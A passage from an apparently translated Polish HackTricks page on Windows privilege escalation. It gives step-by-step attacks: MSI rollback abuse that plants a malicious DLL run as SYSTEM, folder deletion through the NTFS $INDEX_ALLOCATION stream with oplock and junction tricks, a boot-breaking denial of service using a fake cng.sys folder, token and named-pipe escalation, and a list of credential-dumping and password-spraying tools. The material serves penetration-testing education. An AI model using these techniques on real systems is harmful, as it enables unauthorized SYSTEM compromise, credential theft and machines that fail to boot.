  • Step 4: Block Deletion of .rbf

  • Po otrzymaniu sygnału, otwórz plik .rbf bez FILE_SHARE_DELETE — to uniemożliwia jego usunięcie.

  • Następnie odesyłasz sygnał, aby deinstalacja mogła się dokończyć.

  • Windows Installer nie może usunąć .rbf, i ponieważ nie może usunąć całej zawartości, C:\Config.Msi nie zostaje usunięty.

  • Step 5: Manually Delete .rbf

  • Ty (atakujący) usuwasz plik .rbf ręcznie.

  • Teraz C:\Config.Msi jest pusty, gotowy do przejęcia.

W tym momencie wywołaj podatność na SYSTEM-level arbitrary folder delete, aby usunąć C:\Config.Msi.

  1. Stage 2 – Replacing Rollback Scripts with Malicious Ones
  • Step 6: Recreate C:\Config.Msi with Weak ACLs

  • Odtwórz folder C:\Config.Msi samodzielnie.

  • Ustaw słabe DACLs (np. Everyone:F), i utrzymaj otwarty handle z WRITE_DAC.

  • Step 7: Run Another Install

  • Zainstaluj .msi ponownie, z:

  • TARGETDIR: lokalizacja zapisywalna.

  • ERROROUT: zmienna, która wymusza awarię.

  • Ta instalacja zostanie użyta do ponownego wywołania rollback, który odczytuje .rbs i .rbf.

  • Step 8: Monitor for .rbs

  • Użyj ReadDirectoryChangesW, aby monitorować C:\Config.Msi aż pojawi się nowe .rbs.

  • Przechwyć jego nazwę pliku.

  • Step 9: Sync Before Rollback

  • .msi zawiera custom install action (SyncBeforeRollback), która:

  • Sygnalizuje event, gdy .rbs zostanie utworzony.

  • Następnie czeka zanim będzie kontynuować.

  • Step 10: Reapply Weak ACL

  • Po otrzymaniu eventu .rbs created:

  • Windows Installer ponownie stosuje silne ACL do C:\Config.Msi.

  • Ale ponieważ nadal masz handle z WRITE_DAC, możesz ponownie nałożyć słabe ACL.

ACLs są egzekwowane tylko przy otwarciu handle, więc nadal możesz zapisywać do folderu.

  • Step 11: Drop Fake .rbs and .rbf

  • Nadpisz plik .rbs fałszywym rollback script, który instruuje Windows, aby:

  • Przywrócił twój plik .rbf (złośliwy DLL) do uprzywilejowanej lokalizacji (np. C:\Program Files\Common Files\microsoft shared\ink\HID.DLL).

  • Upuścił fałszywe .rbf zawierające złośliwy SYSTEM-level payload DLL.

  • Step 12: Trigger the Rollback

  • Sygnalizuj event synchronizacji, aby instalator wznowił działanie.

  • Skonfigurowana jest type 19 custom action (ErrorOut), która celowo przerywa instalację w określonym punkcie.

  • To powoduje, że rollback się rozpoczyna.

  • Step 13: SYSTEM Installs Your DLL

  • Windows Installer:

  • Odczytuje twój złośliwy .rbs.

  • Kopiuje twój .rbf DLL do docelowej lokalizacji.

  • Masz teraz złośliwy DLL w ścieżce ładującej się przez SYSTEM.

  • Final Step: Execute SYSTEM Code

  • Uruchom zaufany auto-elevated binary (np. osk.exe), który załaduje DLL, który przejąłeś.

  • Bam: Twój kod zostaje wykonany jako SYSTEM.

From Arbitrary File Delete/Move/Rename to SYSTEM EoP

Główna technika rollback MSI (poprzednia) zakłada, że możesz usunąć cały folder (np. C:\Config.Msi). A co jeśli twoja podatność pozwala tylko na arbitrary file deletion?

Możesz wykorzystać NTFS internals: każdy folder ma ukryty alternate data stream o nazwie:

C:\SomeFolder::$INDEX_ALLOCATION

Ten strumień przechowuje metadane indeksu folderu.

Tak więc, jeśli usuniesz strumień ::$INDEX_ALLOCATION folderu, NTFS usuwa cały folder z systemu plików.

Możesz to zrobić przy użyciu standardowych API do usuwania plików, takich jak:

DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION");

Mimo że wywołujesz API usuwania pliku, ono usuwa sam folder.

Od usuwania zawartości folderu do SYSTEM EoP

Co jeśli twoja prymitywna operacja nie pozwala na usunięcie dowolnych plików/folderów, ale pozwala na usunięcie zawartości folderu kontrolowanego przez atakującego?

  1. Krok 1: Utwórz przynętę — folder i plik
  • Create: C:\temp\folder1
  • Inside it: C:\temp\folder1\file1.txt
  1. Krok 2: Nałóż oplock na file1.txt
  • The oplock pauses execution when a privileged process tries to delete file1.txt.
// pseudo-code
RequestOplock("C:\\temp\\folder1\\file1.txt");
WaitForDeleteToTriggerOplock();
  1. Krok 3: Wywołaj proces SYSTEM (np. SilentCleanup)
  • Ten proces skanuje foldery (np. %TEMP%) i próbuje usunąć ich zawartość.
  • Gdy dotrze do file1.txt, oplock wyzwala się i przekazuje kontrolę do twojego callbacka.
  1. Krok 4: Wewnątrz oplock callbacka – przekieruj usuwanie
  • Opcja A: Przenieś file1.txt gdzie indziej

  • To opróżnia folder1 bez przerywania oplocka.

  • Nie usuwaj file1.txt bezpośrednio — to zwolni oplock przedwcześnie.

  • Opcja B: Konwertuj folder1 na junction:

# folder1 is now a junction to \RPC Control (non-filesystem namespace)
mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control
  • Opcja C: Utwórz symlink w \RPC Control:
# Make file1.txt point to a sensitive folder stream
CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION")

To atakuje wewnętrzny strumień NTFS, który przechowuje metadane folderu — jego usunięcie usuwa folder.

  1. Krok 5: Zwolnienie oplock
  • Proces SYSTEM kontynuuje i próbuje usunąć file1.txt.
  • Ale teraz, z powodu junction + symlink, faktycznie usuwa:
C:\Config.Msi::$INDEX_ALLOCATION

Wynik: C:\Config.Msi jest usuwany przez SYSTEM.

Od utworzenia dowolnego folderu do trwałego DoS

Wykorzystaj prymityw, który pozwala utworzyć dowolny folder jako SYSTEM/admin — nawet jeśli nie możesz zapisywać plików lub ustawić słabych uprawnień.

Utwórz folder (nie plik) o nazwie krytycznego sterownika Windows, np.:

C:\Windows\System32\cng.sys
  • Ta ścieżka zwykle odpowiada sterownikowi trybu jądra cng.sys.
  • Jeśli wstępnie utworzysz ją jako folder, Windows nie załaduje rzeczywistego sterownika podczas rozruchu.
  • Następnie Windows próbuje załadować cng.sys podczas rozruchu.
  • Widząc folder, nie udaje mu się rozwiązać rzeczywistego sterownika, i zawiesza się lub zatrzymuje rozruch.
  • Nie ma żadnego mechanizmu awaryjnego, i brakuje możliwości odzyskania bez zewnętrznej interwencji (np. naprawa rozruchu lub dostęp do dysku).

From High Integrity to System

Nowa usługa

Jeśli już działasz w procesie o High Integrity, path to SYSTEM może być prosty — wystarczy utworzyć i uruchomić nową usługę:

sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename

Tip

Podczas tworzenia binarki usługi upewnij się, że jest to prawidłowa usługa lub że binarka wykonuje niezbędne działania wystarczająco szybko, ponieważ zostanie zabita po 20s jeśli nie jest prawidłową usługą.

AlwaysInstallElevated

Z procesu o High Integrity możesz spróbować włączyć wpisy rejestru AlwaysInstallElevated i zainstalować reverse shell używając opakowania .msi.
More information about the registry keys involved and how to install a .msi package here.

High + SeImpersonate privilege to System

Możesz find the code here.

From SeDebug + SeImpersonate to Full Token privileges

Jeśli masz te uprawnienia tokena (prawdopodobnie znajdziesz je już w procesie o High Integrity), będziesz w stanie otworzyć niemal dowolny proces (z wyjątkiem procesów chronionych) z uprawnieniem SeDebug, skopiować token procesu i utworzyć dowolny proces z tym tokenem.
Przy użyciu tej techniki zwykle wybiera się proces uruchomiony jako SYSTEM posiadający wszystkie uprawnienia tokena (tak, można znaleźć procesy SYSTEM bez wszystkich uprawnień tokena).
Możesz znaleźć przykład kodu wykonującego proponowaną technikę tutaj.

Named Pipes

Ta technika jest używana przez meterpreter do eskalacji w getsystem. Technika polega na utworzeniu pipe’a i następnie utworzeniu/nadużyciu usługi, aby pisała do tego pipe’a. Następnie server, który utworzył pipe używając uprawnienia SeImpersonate, będzie w stanie podszyć się pod token klienta pipe’a (usługi), uzyskując uprawnienia SYSTEM.
Jeśli chcesz dowiedzieć się więcej o named pipes powinieneś przeczytać to.
Jeśli chcesz przeczytać przykład jak przejść z High Integrity do System używając named pipes przeczytaj to.

Dll Hijacking

Jeśli uda Ci się zajmować dll będącą ładowaną przez proces uruchomiony jako SYSTEM, będziesz mógł wykonać dowolny kod z tymi uprawnieniami. Dlatego Dll Hijacking jest również przydatny do tego rodzaju eskalacji uprawnień, i co więcej jest znacznie łatwiejszy do osiągnięcia z procesu o wysokiej integralności, ponieważ będzie on miał uprawnienia zapisu w folderach używanych do ładowania dll.
Możesz learn more about Dll hijacking here.

From Administrator or Network Service to System

From LOCAL SERVICE or NETWORK SERVICE to full privs

Read: https://github.com/itm4n/FullPowers

More help

Static impacket binaries

Useful tools

Best tool to look for Windows local privilege escalation vectors: WinPEAS

PS

PrivescCheck
PowerSploit-Privesc(PowerUP) – Sprawdza błędne konfiguracje i wrażliwe pliki (check here). Detected.
JAWS – Sprawdza możliwe błędne konfiguracje i zbiera informacje (check here).
privesc – Sprawdza błędne konfiguracje
SessionGopher – Wyodrębnia zapisane sesje PuTTY, WinSCP, SuperPuTTY, FileZilla i RDP. Użyj -Thorough lokalnie.
Invoke-WCMDump – Wyodrębnia credentials z Credential Manager. Detected.
DomainPasswordSpray – Rozprowadza zebrane hasła po domenie
Inveigh – Inveigh to PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer i narzędzie man-in-the-middle.
WindowsEnum – Podstawowa enumeracja Windows pod kątem privesc
Sherlock ~~~~ – Szuka znanych podatności privesc (DEPRECATED for Watson)
WINspect – Lokalna weryfikacja (Wymaga uprawnień Admin)

Exe

Watson – Szuka znanych podatności privesc (wymaga skompilowania w VisualStudio) (precompiled)
SeatBelt – Enumeruje hosta szukając błędnych konfiguracji (bardziej narzędzie do zbierania informacji niż privesc) (wymaga kompilacji) (precompiled)
LaZagne – Wyodrębnia poświadczenia z wielu programów (precompiled exe na githubie)
SharpUP – Port PowerUp do C#
Beroot ~~~~ – Sprawdza błędne konfiguracje (wykonywalny precompiled na githubie). Niezalecane. Nie działa dobrze na Win10.
Windows-Privesc-Check – Sprawdza możliwe błędne konfiguracje (exe z python). Niezalecane. Nie działa dobrze na Win10.

Bat

winPEASbat – Narzędzie stworzone w oparciu o ten post (nie wymaga accesschk, by działać poprawnie, ale może go używać).

Local

Windows-Exploit-Suggester – Odczytuje wynik systeminfo i rekomenduje działające exploity (lokalny python)
Windows Exploit Suggester Next Generation – Odczytuje wynik systeminfo i rekomenduje działające exploity (lokalny python)

Meterpreter

multi/recon/local_exploit_suggestor

Musisz skompilować projekt używając właściwej wersji .NET (see this). Aby zobaczyć zainstalowaną wersję .NET na hoście ofiary możesz zrobić:

C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line

Źródła

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks